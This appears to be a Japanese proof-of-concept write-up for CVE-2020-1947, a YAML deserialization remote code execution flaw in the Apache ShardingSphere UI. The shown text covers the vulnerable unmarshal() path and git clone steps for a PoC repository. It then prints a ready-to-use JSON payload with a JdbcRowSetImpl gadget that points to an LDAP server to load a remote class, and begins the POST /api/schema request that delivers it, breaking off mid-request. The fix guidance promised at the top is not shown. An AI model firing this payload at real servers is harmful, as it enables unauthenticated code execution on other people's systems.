
CVE-2020-1947の概念実証と分析。Apache ShardingSphere UIのYAML逆シリアル化リモートコード実行脆弱性で、再現手順と修正ガイダンスを含みます。
shardingsphereはapacheのオープンソースエコシステムであり、分散データベースミドルウェアソリューションのセットです。sharding-jdbc、sharding-proxy、sharding-sidecarという3つの独立したフレームワークで構成され、データシャーディング、分散トランザクション、データベースガバナンスを提供するために使用されます。
ShardingSphere 4.0.0-RC3, 4.0.0 sharding-jdbc、sharding-proxy、sharding-uiなどのコンポーネント
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
shardingsphereのウェブコンソールはsnakeyamlライブラリを使用してYAML入力を解析し、データソース構成を読み込みます。snakeyamlは、検証を行わずにアンマーシャリングを許可し、解析とデシリアライズを実行できます。
unmarshal()は内容を直接yaml.snakeyamlのload()に渡して解析します。
このとき、unmarshalが悪意のあるYAMLシリアライズ内容を渡すとRCEが発生します。
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
PoC
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Request
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8